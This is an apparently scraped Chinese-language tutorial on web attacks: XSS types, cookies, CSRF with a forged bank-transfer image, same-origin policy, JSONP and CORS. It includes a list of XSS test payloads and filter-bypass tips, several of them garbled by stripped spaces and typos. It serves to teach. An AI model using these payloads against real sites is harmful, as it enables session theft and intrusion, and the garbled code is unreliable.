整合營銷服務(wù)商
電腦端+手機端+微信端=數(shù)據(jù)同步管理
免費咨詢熱線：
電腦端+手機端+微信端=數(shù)據(jù)同步管理
免費咨詢熱線：
XSS全稱跨站腳本(Cross Site Scripting)，為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用戶頁面里執(zhí)行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態(tài)展示數(shù)據(jù)功能，在HTML頁面里嵌入惡意代碼。當用戶瀏覽改頁時，這些潛入在HTML中的惡意代碼會被執(zhí)行，用戶瀏覽器被攻擊者控制，從而達到攻擊者的特殊目的，如 cookie竊取等。
形成XSS漏洞的主要原因是程序?qū)斎牒洼敵龅目刂撇粔驀栏瘢瑢е隆熬臉?gòu)造”的腳本輸入后，在輸?shù)角岸藭r被瀏覽器當作有效代碼解析執(zhí)行從而產(chǎn)生危害。
2021最新整理網(wǎng)絡(luò)安全/滲透測試/安全學習/100份src技術(shù)文檔（全套視頻、大廠面經(jīng)、精品手冊、必備工具包、路線）一>關(guān)注我，私信回復(fù)"資料"獲取<一
攻擊者通過Web應(yīng)用程序發(fā)送惡意代碼，一般以瀏覽器腳本的形式發(fā)送給不同的終端用戶。當一個Web程序的用戶輸入點沒有進行校驗和編碼，將很容易的導致XSS。
1、網(wǎng)絡(luò)釣魚，包括獲取各類用戶賬號
2、竊取用戶cookies資料，從而獲取用戶隱私信息，或利用用戶身份進一步對網(wǎng)站執(zhí)行操作；
3、劫持用戶（瀏覽器）會話，從而執(zhí)行任意操作，例如非法轉(zhuǎn)賬、強制發(fā)表日志、電子郵件等
4、強制彈出廣告頁面、刷流量等
5、網(wǎng)頁掛馬；
6、進行惡意操作，如任意篡改頁面信息、刪除文章等
7、進行大量的客戶端攻擊，如ddos等
8、獲取客戶端信息，如用戶的瀏覽歷史、真實p、開放端口等
9、控制受害者機器向其他網(wǎng)站發(fā)起攻擊；
10、結(jié)合其他漏洞，如csrf，實施進步危害；
11、提升用戶權(quán)限，包括進一步滲透網(wǎng)站
12、傳播跨站腳本蠕蟲等
形成XSS漏洞的主要原因是程序?qū)斎牒洼敵龅目刂撇粔驀栏瘢瑢е隆熬臉?gòu)造”的腳本輸入后，在輸?shù)角岸藭r被瀏覽器當作有效代碼解析執(zhí)行從而產(chǎn)生危害。
因此在XSS漏洞的防范上，一般會采用“對輸入進行過濾”和“輸出進行轉(zhuǎn)義”的方式進行處理: 輸入過濾：對輸入進行過濾，不允許可能導致XSS攻擊的字符輸入; 輸出轉(zhuǎn)義：根據(jù)輸出點的位置對輸出到前端的內(nèi)容進行適當轉(zhuǎn)義;
1、數(shù)據(jù)交互的地方
get、post、cookies、headers
反饋與瀏覽
富文本編輯器
各類標簽插入和自定義
2、數(shù)據(jù)輸出的地方
用戶資料
關(guān)鍵詞、標簽、說明
文件上傳
又稱非持久型XSS，這種攻擊方式往往具有一次性，只在用戶單擊時觸發(fā)。跨站代碼一般存在鏈接中，當受害者請求這樣的鏈接時，跨站代碼經(jīng)過服務(wù)端反射回來，這類跨站的代碼通常不存儲服務(wù)端
常見注入點:
網(wǎng)站的搜索欄、用戶登錄入口、輸入表單等地方，常用來竊取客戶端cookies或釣魚欺騙。
漏洞產(chǎn)生原因一般是網(wǎng)站只是簡單地將用戶輸入的數(shù)據(jù)直接或未經(jīng)過完善的安全過濾就在瀏覽器中進行輸岀，導致輸岀的欻據(jù)中存在可被瀏覽器執(zhí)行的代碼數(shù)據(jù)
攻擊方式
攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發(fā)送給目標用戶。當目標用戶訪問該鏈接時，服務(wù)器接受該目標用戶的請求并進行處理，然后服務(wù)器把帶有XSS的代碼發(fā)送給目標用戶的瀏覽器，瀏覽器解析這段帶有XSS代碼的惡意腳本后，就會觸發(fā)XSS漏洞。
由于此種類型的跨站代碼存在于URL中，所以黑客通常需要通過誘騙或加密變形等方式將存在惡意代碼的鏈接發(fā)給用戶，只有用戶點擊以后才能使得攻擊成功實施。
反射型XSS攻擊的流程如下：
?
1.攻擊者尋找具有漏洞的網(wǎng)站
2.攻擊者給用戶發(fā)了一個帶有惡意字符串的鏈接
3.用戶點擊了該鏈接
4.服務(wù)器返回HTML文檔，此時該文檔已經(jīng)包含了那個惡意字符串
5.客戶端執(zhí)行了植入的惡意腳本，XSS攻擊就發(fā)生
存儲型XSS（ Stored xss Attacks），也是持久型XSS，比反射型XSS更具有威脅性。。攻擊腳本將被永久的存放在目標服務(wù)器的數(shù)據(jù)庫或文件中。這是利用起來最方便的跨站類型，跨站代碼存儲于服務(wù)端（比如數(shù)據(jù)庫中）
常見注入點
論壇、博客、留言板、網(wǎng)站的留言、評論、日志等交互處。
造成漏洞原因一般是由于Web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的不嚴格，導致Web應(yīng)用程序?qū)⒑诳洼斎氲膼阂饪缯竟魯?shù)據(jù)信息保存在服務(wù)端的數(shù)據(jù)庫或其他文件形式中。
攻擊方式
攻擊者在發(fā)帖或留言的過程中，將惡意腳本連同正常信息一起注入到發(fā)布內(nèi)容中。隨著發(fā)布內(nèi)容被服務(wù)器存儲下來，惡意腳本也將永久的存放到服務(wù)器的后端存儲器中。當其他用戶瀏覽這個被注入了
惡意腳本的帖子時，惡意腳本就會在用戶的瀏覽器中得到執(zhí)行。
存儲型ⅩSS攻擊的流程如下
1.用戶提交了一條包含XSS代碼的留言到數(shù)據(jù)庫
2.當目標用戶查詢留言時，那些留言的內(nèi)容會從服務(wù)器解析之后加載出來
3.瀏覽器發(fā)現(xiàn)有XSS代碼，就當做正常的HTML和JS解析執(zhí)行
DoM是文檔對象模型（ Document Object Model）的縮寫。它是HTML文檔的對象表示，同時也是外部內(nèi)容（例如 JavaScript）與HTML元素之間的接口。解析樹的根節(jié)點是“ Document"對象。DOM（ Document object model），使用DOM能夠使程序和腳本能夠動態(tài)訪問和更新文檔的內(nèi)容、結(jié)構(gòu)和樣式。
它是基于DoM文檔對象的一種漏洞，并且DOM型XSS是基于JS上的，并不需要與服務(wù)器進行交互。
其通過修改頁面DOM節(jié)點數(shù)據(jù)信息而形成的ⅩSS跨站腳本攻擊。不同于反射型XSS和存儲型XSS，基于DOM的XSS跨站腳本攻擊往往需要針對具體的 Javascript DOM代碼進行分析，并根據(jù)實際情況進行XSS跨站腳本攻擊的利用。
一種基于DOM的跨站，這是客戶端腳本本身解析不正確導致的安全問題
注入點
通過js腳本對對文檔對象進行編輯，從而修改頁面的元素。也就是說，客戶端的腳本程序可以DOM動態(tài)修改頁面的內(nèi)容，從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行。由于DOM是在客戶端修改節(jié)點的，所
以基于DOM型的XSS漏洞不需要與服務(wù)器端交互，它只發(fā)生在客戶端處理數(shù)據(jù)的階段。
攻擊方式
用戶請求一個經(jīng)過專門設(shè)計的URL，它由攻擊者提供，而且其中包含XSS代碼。服務(wù)器的響應(yīng)不會以任何形式包含攻擊者的腳本，當用戶的瀏覽器處理這個響應(yīng)時，DOM對象就會處理XSS代碼，導致存
在XSS漏洞。
它的流程是這樣的：
1.攻擊者尋找具有漏洞的網(wǎng)站
2.攻擊者給用戶發(fā)了一個帶有惡意字符串的鏈接
3.用戶點擊了該鏈接
4.服務(wù)器返回HTML文檔，但是該文檔此時不包含那個惡意字符串
5.客戶端執(zhí)行了該HTML文檔里的腳本，然后把惡意腳本植入了頁面
6.客服端執(zhí)行了植入的惡意腳本，XSS攻擊就發(fā)生了
反射型XSS與DOM型區(qū)別：
1、反射型XSS攻擊中，服務(wù)器在返回HTML文檔的時候，就已經(jīng)包含了惡意的腳本;
2、DOM型ⅩSS攻擊中，服務(wù)器在返回HTML文檔的時候，是不包含惡意腳本的；惡意腳本是在其執(zhí)行了非惡意腳本后，被注入到文檔里的
通過JS腳本對對文檔對象進行編輯，從而修改頁面的元素。也就是說，客戶端的腳本程序可以DOM動態(tài)修改頁面的內(nèi)容，從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行。由于DOM是在客戶端修改節(jié)點的，所以基于DOM型的XSS漏洞不需要與服務(wù)器端交互，它只發(fā)生在客戶端處理數(shù)據(jù)的階段。
不論是服務(wù)器端或客戶端的ⅩSS過濾器，都認定過濾后的HTM源代碼應(yīng)該與瀏覽器所渲染后的HTML代碼保持一致，至少不會出現(xiàn)很大的出入
然而，如果用戶所提供的富文本內(nèi)容通過 Javascript 代碼進屬性后，一些意外的變化會使得這個認定不再成立：一串看似沒有任何危害的HTML代碼，將逃過XSS過濾器的檢測，最終進入某個DOM節(jié)點中，瀏覽器的渲染引擎會將本來沒有任何危害的HTML代碼渲染成具有潛在危險的XSS攻擊代碼。 隨后，該段攻擊代碼，可能會被JS代碼中的其它一些流程輸出到DOM中或是其它方式被再次渲染，從而導致XSS的執(zhí)行。這種由于HTML內(nèi)容進后發(fā)生意外變化（ mutation，突變，來自遺傳學的一個單詞，大家都知道的基因突變，gene mutation），而最終導致XS的攻擊流程，被稱為突變XSS（mXSs, Mutation based Cross-Site-Scripting
通常通過innerHTML函數(shù)進行html代碼過濾
什么是HTML過濾器？為什么我們需要HTML過濾器？
許多web應(yīng)用程序，以編輯器的形式，允許用戶使用一些特殊的文本格式（例如，粗體，斜體等等）。這個功能在博客，郵件當中使用甚廣。這里出現(xiàn)的主要安全問題就是有些不法用戶可能輸入一些惡意HTML/ avaScript從而引入XSS。 因此，這類允許用戶進行個性化輸入的應(yīng)用程序的創(chuàng)建者就面臨一個很頭疼的問題如何確保用戶的輸入的HTML是安全的，從而不會引起不必要的XSS。 這就是為什么需要HTML過濾器的原因。HTML過濾器的主要目的是揪出不可信的輸入，對其進行過濾，并生成安全的HTML過濾所有危險標簽的HTML
舉個例子
解析后，輸入的html代碼變成下面格式
通過html過濾器，過濾不在白名單的代碼，得到如下無害html代碼，也不會傷害到用戶的正常功能
雖然HTML過濾器可以幫助我們處理大部分數(shù)據(jù)，能夠處理99%的威脅，但是最后一公里路還是要有瀏覽器來渲染加載。 我們看一個簡單的例子：
上面代碼一開始并沒有閉合的標簽，通過渲染后自動加入閉合標簽。
在賦值給 innerHTML之后，我們卻得到一個不同的值。由于 HTML/XML格式的靈活性，用戶可以輸入非規(guī)范的HTML，修復(fù)成規(guī)范的HTML就是瀏覽器的責任了。
道理我都懂，但是有沒有更直觀的例子？
首先分配一個<sg>標簽，<p>是它的子標簽。但是從DOM樹中我們可以發(fā)現(xiàn)，<p>元素實際上“跳出”了<svg>。發(fā)生這種情況的主要原因是<p>不是<sg>中的有效標簽，因此瀏覽器會在結(jié)束<SVg>后打開<p>
UXSS全稱Universal Cross-Site Scripting，翻譯過來就是通用型XSS，也叫Universal XSS。UXSS保留了基本XSS的特點，利用漏洞，執(zhí)行惡意代碼，但是有一個重要的區(qū)別：不同于常見的XSS，UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。
俗的說，就是原來我們進行XSS攻擊等都是針對Web應(yīng)用本身，是因為Web應(yīng)用本身存在漏洞才能被我們利用攻擊；而UXSS不同的是通過瀏覽器或者瀏覽器擴展的漏洞來”制作ⅩSS漏洞”，然后剩下的我們就可以像普通XSS那樣利用攻擊了。
不同于常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。UXSS 可以理解為Bypass 同源策略。
常見的XSS攻擊的是因為客戶端或服務(wù)端的代碼開發(fā)不嚴謹?shù)葐栴}而存在漏洞的目標網(wǎng)站或者應(yīng)用程序。這些攻擊的先決條件是頁面存在漏洞， 而它們的影響往往也圍繞著漏洞頁面本身的用戶會話。換句話說，因為瀏覽器的安全功能的影響，XSS攻擊只能讀取受感染的會話，而無法讀取其他的會話信息，也就是同源策略的影響。
1.IE8跨站腳本過濾器缺陷
David Lindsay和 Eduardo vela Nava已經(jīng)在2010年的 BlackHat Europe展示了這個漏洞的UXSS利用。 IE8中內(nèi)置了XSS過濾器，用于檢測反射XSS并采取糾正措施：在頁面渲染之前更改響應(yīng)內(nèi)容。在這種特殊情況下，等號將會被過濾器去除，但是通過精心構(gòu)造的XSS字符串在特定的地方，這個邏輯會導致瀏覽器創(chuàng)建XSS條件。 微軟的響應(yīng)是改變了XSS過濾器去除的字符。
2.IE8跨站腳本過濾器缺陷
移動設(shè)備也不例外，而且可以成為XSS攻擊的目標。 Chrome安卓版存在一個漏洞，允許攻擊者將惡意代碼注入到 Chrome通過 Intent對象加載的任意的Web頁面
3.安卓瀏覽器SOP繞過漏洞
限制于特定的安卓系統(tǒng)版本，因為 kitkat（ android 4.4）之前 webview組件使用webview內(nèi)核而遺留的漏洞。該漏洞可以通過構(gòu)造一個頁面，頁面嵌入 iframe ，然后通過\u0000進行瀏覽器的sop繞過進行XSS
那么UXSS與通常的XSS有什么影響的區(qū)別？
因為一些安全策略，即使一個漏洞頁面存在XSS，我們可以訪問它的用戶會話信息等但是無法訪問其他域的相關(guān)的會話信息，而因為UXSS是利用瀏覽器本身或者瀏覽器擴展程序的漏洞，所以對于攻擊發(fā)起時瀏覽器打開或緩存的所有頁面（即使不同域的情況）的會話信息都可以進行訪問。簡單的說，∪XSS不需要—個漏洞頁面來觸發(fā)攻擊，它可以滲透入安全沒有問題的頁面，從而創(chuàng)造一個漏洞，而該頁面原先是安全無漏洞的。 不僅是瀏覽器本身的漏洞，現(xiàn)在主流瀏覽器都支持擴展程序的安裝，而眾多的瀏覽器擴展程序可能導致帶來更多的漏洞和安全問題。 因為UXSS攻擊不需要頁面本身存在漏洞，同時可能訪問其他安全無漏洞頁面，使得UXSS成為XSS里危險和最具破壞性的攻擊類型之一
<imgsrc=javascript：alert("xss")>
<IMGSRC=javascript：alert(String.formCharCode(88,83,83))>
<imgscr="URL"style='Xss:expression(alert(/xss));'
imgSTYLE=“background-image:url(javascript：alert(‘XSS’))”
<imgsrc="x"onerror=alert(1)>
<imgsrc="1"onerror=eval("alert('xss')")>
<imgsrc=1onmouseover=alert('xss')>
<ahref="https://www.baidu.com">baidu</a>
<ahref="javascript：alert('xss')">aa</a>
<ahref=javascript：eval(alert('xss'))>aa</a>
<ahref="javascript：aaa"onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<ahref=""onclick=eval(alert('xss'))>aa</a>
<ahref=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016>aa</a>
<inputname="name"value="">
<inputvalue=""onclick=alert('xss')type="text">
<inputname="name"value=""onmouseover=prompt('xss')bad="">
<inputname="name"value=""><script>alert('xss')</script>
<formaction=javascript：alert('xss')method="get">
<formaction=javascript：alert('xss')>
<formmethod=postaction=aa.asp?onmouseover=prompt('xss')>
<formmethod=postaction=aa.asp?onmouseover=alert('xss')>
<formaction=1onmouseover=alert('xss)>
<formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>">
<formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframesrc=javascript：alert('xss');height=5width=1000/><iframe>
<iframesrc="data:text/html,<script>alert('xss')</script>"></iframe>
<iframesrc="data:text/html;base64,<script>alert('xss')</script>">
<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframesrc="aaa"onmouseover=alert('xss')/><iframe>
<iframesrc="javascript:prompt(xss)"></iframe>
<svgonload=alert(1)>
由于HTTP協(xié)議是無狀態(tài)的協(xié)議，所以服務(wù)端需要記錄用戶的狀態(tài)時，就需要用某種機制來識具體的用戶，這個機制就是 Session
典型的場景比如購物車，當你點擊下單按鈕時，由于HTTP協(xié)議無狀態(tài)，所以并不知道是哪個用戶操作的，所以服務(wù)端要為特定的用戶創(chuàng)建了特定的 Session，用用于標識這個用戶，并且跟蹤用戶，這樣才知道購物車里面有幾本書。
這個 Session是保存在服務(wù)端的，有一個唯一標識。在服務(wù)端保存 Session的方法很多，內(nèi)存、數(shù)據(jù)庫、文件都有。集群的時候也要考慮 Session的轉(zhuǎn)移，在大型的網(wǎng)站一般會有專門的 Session服務(wù)器集群，用來保存用戶會話，這個時候 Session信息都是放在內(nèi)存的，使用一些緩存服務(wù)比如 Memcached之類的來放 Session。
思考一下服務(wù)端如何識別特定的客戶？這個時候 Cookie就登場了。
每次HTTP請求的時候，客戶端都會發(fā)送相應(yīng)的Cookie信息到服務(wù)端。實際上大多數(shù)的應(yīng)用都是用 Cookie來實現(xiàn) Session跟蹤的，第一次創(chuàng)建 Session的時候，服務(wù)端會在HTTP協(xié)議中告訴客戶端，需要在Cookie里面記錄個SessionID，以后每次請求把這個會話ID發(fā)送到服務(wù)器，我就知道你是誰了。
設(shè)想你某次登陸過一個網(wǎng)站，只需要登錄一次就可以在一定時間內(nèi)瀏覽這個網(wǎng)站的所有內(nèi)容，這是如何做到的？也是 Cookie
Cookie是指某些網(wǎng)站為了辨別用戶身份而儲存在客戶端上的數(shù)據(jù)（通常經(jīng)過加密）。也就是說，只要有了某個用戶的 cookie，就能以他的身份登錄
獲取cookie：
瀏覽器(客戶端)：document.cookie
服務(wù)器端(php)：$_COOKIE
舉例
知道了 cookie的格式， cookie的屬性選項，接下來我們就可以設(shè)置 cookie了。首先得明確一點：cookie既可以由服務(wù)端來設(shè)置，也可以由客戶端來設(shè)置。
1、一個Set-Cookie字段只能設(shè)置一個 cookie，當你要想設(shè)置多個 cookie，需要添加同樣多的Set- Cookie字段。 2、服務(wù)端可以設(shè)置 cookie的所有選項：expires、 domain、path、 secure、 HttpOnly
客戶端可以設(shè)置 cookie的下列選項：expires、 domain、path、 secure（有條件：只有在https協(xié)議的網(wǎng)頁中，客戶端設(shè)置 secure類型的 cookie才能成功），但無法設(shè)置 HttpOnly選項。
語言的解析般分為詞法分析（ lexical analysis）和語法分析（ Syntax analysis）兩個階段， Webkit中的HTML解析也不例外，我們這里主要關(guān)注詞法分析。
詞法分析的任務(wù)是對輸入字節(jié)流進行逐字掃描，根據(jù)構(gòu)詞規(guī)則識別單詞和符號，分在WebKⅰt中，有兩個類，同詞法分析密切相關(guān)，它是 HTMLToken和HTMLTokenizer類，可以簡單將 HTMLToken類理解為標記， HTMLTokenizer類理解為詞法解析器。HTML詞法解析的任務(wù)，就是將輸入的字節(jié)流解析成一個個的標記（ HTMLToken），然后由語法解析器進行下一步的分析
在XML/HTML 的文檔解析中， token這個詞經(jīng)常用到，我將其理解為一個有完整語義的單元（也就是分出來的“詞”），一個元素通常對應(yīng)于3個 token，一個是元素的起始標簽，一個是元素的結(jié)束標簽，一個是元素的內(nèi)容，這點同DOM樹是不一樣的，在DOM樹上，起始標簽和結(jié)束標簽對應(yīng)于一個元素節(jié)點，而元素內(nèi)容對應(yīng)另一個節(jié)點。
除了起始標簽（ StartTag）、結(jié)束標簽（仼 drAg）和元素內(nèi)容（ Character），HTM標簽還有 DOCTYPE（文檔類型） Comment（注釋）， Uninitialized（默認類型）和EndofFile（文檔結(jié)束）等類型，參見 HTMLToken h中的Type枚舉。
在HTML中，某些字符是預(yù)留的。例如在HTML中不能使用<或>，這是因為瀏覽器可能誤認為它們是標簽的開始或結(jié)束。如果希望正確地顯示預(yù)留字符，就需要在HTML中使用對應(yīng)的字符實體。一個HTML字符實體描述如下
字符顯示 描述 實體名稱 實體編號
< 小于號 <<
需要注意的是，某些字符沒有實體名稱，但可以有實體編號
HTML的詞法分析：http://www.w3.org/TR/html5/tokenization.html
HTML的規(guī)范是相當寬松的，所以詞法解析要考慮到的問題很多，HTML5 specification 在這方面為實現(xiàn)者做了絕大部分工作。 不考慮類似<html>和<body>之間的回車換行
…
（1）輸入在標簽間的情況：測試<>是否被過濾或轉(zhuǎn)義，若無則直接<mgsc=1 onerror=alert(1)>
（2）輸入在 script標簽內(nèi)：我們需要在保證內(nèi)部JS語法正確的前提下，去插入我們的 payload。如果我們的輸岀在字符串內(nèi)部，測試字符串能否被閉合。如果我們無法閉合包裹字符串的引號，這個點就很難利用了
可能的解決方案：可以控制兩處輸入且\可用、存在寬字節(jié)
（3）輸入在HTML屬性內(nèi)：首先査看屬性是否有雙引號包裏、沒有則直接添加新的事件屬性；
有雙引號包裹則測試雙引號是否可用，可用則閉合屬性之后添加新的事件屬性；
TIP：HTML的屬性，如果被進行HTML實體編碼（形如'；'），那么HTML會對其進行自動解碼，從而我們可以在屬性里以HTML實體編碼的方式引入任意字符，從而方便我們在事件屬性里以JS的方式構(gòu)造 payload。
（4）輸岀在JS中，空格被過濾：使用/**/代替空格。 （5）輸出在JS注釋中：設(shè)法插入換行符%0A，使其逃逸出來。 （6）輸入在JS字符串內(nèi)：可以利用JS的十六進制、八進制、 unicode編碼。 （7）輸入在src/ href /action等屬性內(nèi)：可以利用 javascript：alert(1)，以及data:text/html;base64;加上base64編碼后的HTML
（8） Chrome下 iframe自身的彈框姿勢
<iframe onload="alert(1)"></iframe>``<iframe src="javascript：alert(2)"></iframe>``<iframe src=data text/html, <script>alert(3)</script>></iframe>``<iframe srcdoc="<script>alert(4))</script>"></iframe>
（9）坑點之自帶 HtmlEncode（轉(zhuǎn)義）功能的標簽
<textarea>k/textarea>``<title></title>``<iframe ></iframe>``<noscript></noscript>``<noframes></noframes>``<xmp></xmp>``<plaintext></plaintext>
當我們的 XSS payload位于這些標簽中間時，并不會解析，除非我們把它們閉合掉。
CSRF（ Cross-site request forgery），中文名稱：跨站請求偽造，也被稱為：one click attack/ session riding，縮寫為：CSRF/XSRF。 可以這么理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義發(fā)送惡意請求。CSRF能夠做的事情包括：以你名義發(fā)送郵件，發(fā)消息，盜取你的賬號，甚至于購買商品，虛擬貨幣轉(zhuǎn)賬……造成的問題包括：個人隱私泄露以及財產(chǎn)安全。 如果站點的管理員遭受CSRF攻擊，在知道相關(guān)請求參數(shù)的情況下，攻擊者可以借助管理員的權(quán)限來完成一些操作，如添加賬戶、上傳文件等。 從而，在一些公共系統(tǒng)（如購物網(wǎng)站等）和一些開源系統(tǒng)當中，CSRF的危害較大；在閉源系統(tǒng)中，單純的CSRF危害較小；不過這也是相對的，CSRF可以和XSS配合使用，從而實現(xiàn)較大的破壞。一旦利用成功，CSRF同樣可以進后臺、 getshell
從上圖可以看出，要完成一次CSRF攻擊，受害者必須依次完成兩個步驟
1.登錄受信任網(wǎng)站A，并在本地生成 Cookie。
2.在不登出A的情況下，訪問危險網(wǎng)站B。 看到這里，你也許會說：“如果我不滿足以上兩個條件中的一個，我就不會受到CSRF的攻擊”。
是的，確實如此，但你不能保證以下情況不會發(fā)生：
1.你不能保證你登錄了一個網(wǎng)站后，不再打開—個tab頁面并訪問另外的網(wǎng)站。
2.你不能保證你關(guān)閉瀏覽器了后，你本地的 Cookie立刻過期，你上次的會話已經(jīng)結(jié)束。（事實上，關(guān)閉瀏覽器并不能一定結(jié)束一個會話，但有些人都會錯誤的認為關(guān)閉瀏覽器就等于退出登錄結(jié)束會話了…
3.上圖中所謂的攻擊網(wǎng)站，可能是一個存在其他漏洞的可信任的經(jīng)常被人訪問的網(wǎng)站。
銀行網(wǎng)站A，它以GET請求來完成銀行轉(zhuǎn)賬的操作，如： http://www.mybank.com/transfer.php?tobankid=1l&money=1000存在一個危險網(wǎng)站B，它里面有一段HTML的代碼如下
<img src=http://www.mybank.com/transferphp？tobankld=11&moneY=1000>
首先，你登錄了銀行網(wǎng)站A，然后訪問危險網(wǎng)站B，噢，這時你會發(fā)現(xiàn)你的銀行賬戶少了1000塊，為什么會這樣呢？
原因是銀行網(wǎng)站A違反了HTTP規(guī)范，使用GET請求更新資源。在訪問危險網(wǎng)站B的之前，你已經(jīng)登錄了銀行網(wǎng)站A，而B中的<mg>以GET的方式請求第三方資源（這里的第三方就是指銀行網(wǎng)站了，原本這是一個合法的請求，但這里被不法分子利用了），所以你的瀏覽器會帶上你的銀行網(wǎng)站A的 Cookie發(fā)出GET請求，去獲取資源"http://www.mybank.com/transfer.pHp?tobankid=11&money=1000"，結(jié)果銀行網(wǎng)站服務(wù)器收到請求后，認為這是一個更新資源操作（轉(zhuǎn)賬操作），所以就立刻進行轉(zhuǎn)賬操作…
1995年，同源政策由 Netscape公司引入瀏覽器。目前，所有瀏覽器都實行這個政策。最初，它的含義是指，A網(wǎng)頁設(shè)置的 Cookis，B網(wǎng)頁不能打開，除非這兩個網(wǎng)頁"同源"
所謂“同源”指的是“三個相同”：
協(xié)議相同
域名相同
端口相同
看看示例來小試牛刀
同源政策的目的，是為了保證用戶信息的安全，防止惡意的網(wǎng)站竊取數(shù)據(jù)。
設(shè)想這樣一種情況：A網(wǎng)站是一家銀行，用戶登錄以后，又去瀏覽其他網(wǎng)站。如果其他網(wǎng)站可以讀取A網(wǎng)站的 Cookie，會發(fā)生什么？
很顯然，如果 Cookie包含隱私（比如存款總額），這些信息就會泄漏。更可怕的是Cookie往往用來保存用戶的登錄狀態(tài)，如果用戶沒有退出登錄，其他網(wǎng)站就可以冒充用戶，為所欲為。因為瀏覽器同時還規(guī)定，提交表單不受同源政策的限制。
由此可見，"同源政策"是必需的，否則 Cookie可以共享，互聯(lián)網(wǎng)就毫無安全可言了。
隨著互聯(lián)網(wǎng)的發(fā)展，“同源政策” 越來越嚴格。目前，如果非同源，共有三種行為受到限制。
（1）Cookie、 LocalStorage 和 IndexDB 無法讀取。
（2）DOM無法獲得。
（3）AJAX請求不能發(fā)送。
當然，這些條件都是相對的，在某些特殊的情況下，我們也可以通過同源策略所允許的共享機制，完成非同源頁面之間數(shù)據(jù)的傳送。
所謂跨域，或者異源，是指主機名（域名）、協(xié)議、端口號 只要有其一不同，就為不同的域（或源）。瀏覽器中有一個基本的策略，叫同源策略，即限制"源"自A的腳本只能操作“同源”頁面的DOM。 瀏覽器中，< script>/<img>/< iframe>/<link>等標簽都是可以跨域來加載資源的而不受同源策略的影響。帶″src′屬性的標簽每次加載時，實際上都是瀏覽器發(fā)起次”GET”請求。
對于 XMLHttpRequest來說，它可以訪問來自同源對象的內(nèi)容。但是不能夠跨域訪問資源。他需要通過目標域返回的HTTP頭授權(quán)是否允許跨域訪問，因為HTTP頭對于 javascript來說一般是無法控制的，所以認為這個方案是可行的。
對于瀏覽器來說：除了DOM、Cookie、XMLTttpRequest會受到同源策略的限制外，瀏覽器加載的第三方插件也有各自的同源策略。例如：flash,java applet, silverlight, coogle gears等。
跨域的方法
(1）用戶在網(wǎng)站B注冊并登錄，網(wǎng)站B包含了用戶的d,name,emai等信息
(2）用戶通過瀏覽器向網(wǎng)站A發(fā)出URL請求
(3）網(wǎng)站A向用戶返回響應(yīng)頁面，響應(yīng)頁面中注冊了 JavaScript的回調(diào)函數(shù)和向網(wǎng)站B請求的 script標簽，示例代碼如下`
(4）用戶收到響應(yīng)，解析JS代碼，將回調(diào)函數(shù)作為參數(shù)向網(wǎng)站B發(fā)岀請求； (5）網(wǎng)站B接收到請求后，解析請求的URL，以SON格式生成請求需要的數(shù)據(jù)，將封裝的包含用戶信息的JSON數(shù)據(jù)作為回調(diào)函數(shù)的參數(shù)返回給瀏覽器，網(wǎng)站B返回的數(shù)據(jù)實例如下：Callback(){id"：l，"name"：test"，"email"：testatest com"})(6）網(wǎng)站B數(shù)據(jù)返回后，瀏覽器則自動執(zhí)行 Callback函數(shù)對步驟4返回的JSON格式數(shù)據(jù)進行處理，通過alert 彈窗展示了用戶在網(wǎng)站B的注冊信息。另外也可將JSON數(shù)據(jù)回傳到網(wǎng)站A的服務(wù)器，這樣網(wǎng)站A利用網(wǎng)站B的JSONP漏洞便獲取到了用戶在網(wǎng)站B注冊的信息。
CORS是一個W3C標準，全稱是"跨域資源共享"”（ Cross-origin resource sharing）
它允許瀏覽器向跨源服務(wù)器，發(fā)出 XMLHttpRequest請求，從而克服了AJAX只能同源使用的限制。 CORS需要瀏覽器和服務(wù)器同時支持。目前，所有瀏覽器都支持該功能，IE瀏覽器不能低于IE10。
瀏覽器端：
目前，所有瀏覽器都支持該功能（IE10以下不行）。整個CORS通信過程，都是瀏覽器自動完成，不需要用戶參與。
服務(wù)端:
CORS通信與AJAX沒有任何差別，因此你不需要改變以前的業(yè)務(wù)邏輯。只不過，瀏覽器會在請求中攜帶一些頭信息，我們需要以此判斷是否運行其跨域，然后在響應(yīng)頭中加入一些信息即可。這一般通過過濾器完成即可。
不符合簡單請求的條件，會被瀏覽器判定為特殊請求，例如請求方式為PUT
特殊請求會在正式通信之前，增加一次HTTP查詢請求，稱為"預(yù)檢"請求（ preflight）。
瀏覽器先詢問服務(wù)器，當前網(wǎng)頁所在的域名是否在服務(wù)器的許可名單之中，以及可以使用哪些HTTP動詞和頭信息字段。只有得到肯定答復(fù)，瀏覽器才會發(fā)出正式的XMLHttpRequest請求，否則就報錯。
與簡單請求相比，除了 Origin以外，多了兩個頭
Access-Control-Request-Method：接下來會用到的請求方式，比如PUT
Access- Control- Request-Headers：會額外用到的頭信息
服務(wù)的收到預(yù)檢請求，如果許可跨域，會發(fā)出響應(yīng)
除了 Access-Contro-Allow-Origin和Aces-Contro-Allow-Credentials以外，這里又額外多出3個頭：
Access-Contro|-Allow-Methods：允許訪問的方式
Access-Control- Allow- Headers：允許攜帶的頭
Access-Control-Max-Age：本次許可的有效時長，單位是秒，過期之前的ajax請求就無需再次進行預(yù)檢了
如果瀏覽器得到上述響應(yīng)，則認定為可以跨域，后續(xù)就跟簡單請求的處理是一樣的
Chrome51開始，瀏覽器的 Cookie新增加了—個 SameSite屬性，用來防止CSRF攻擊和用戶追蹤。
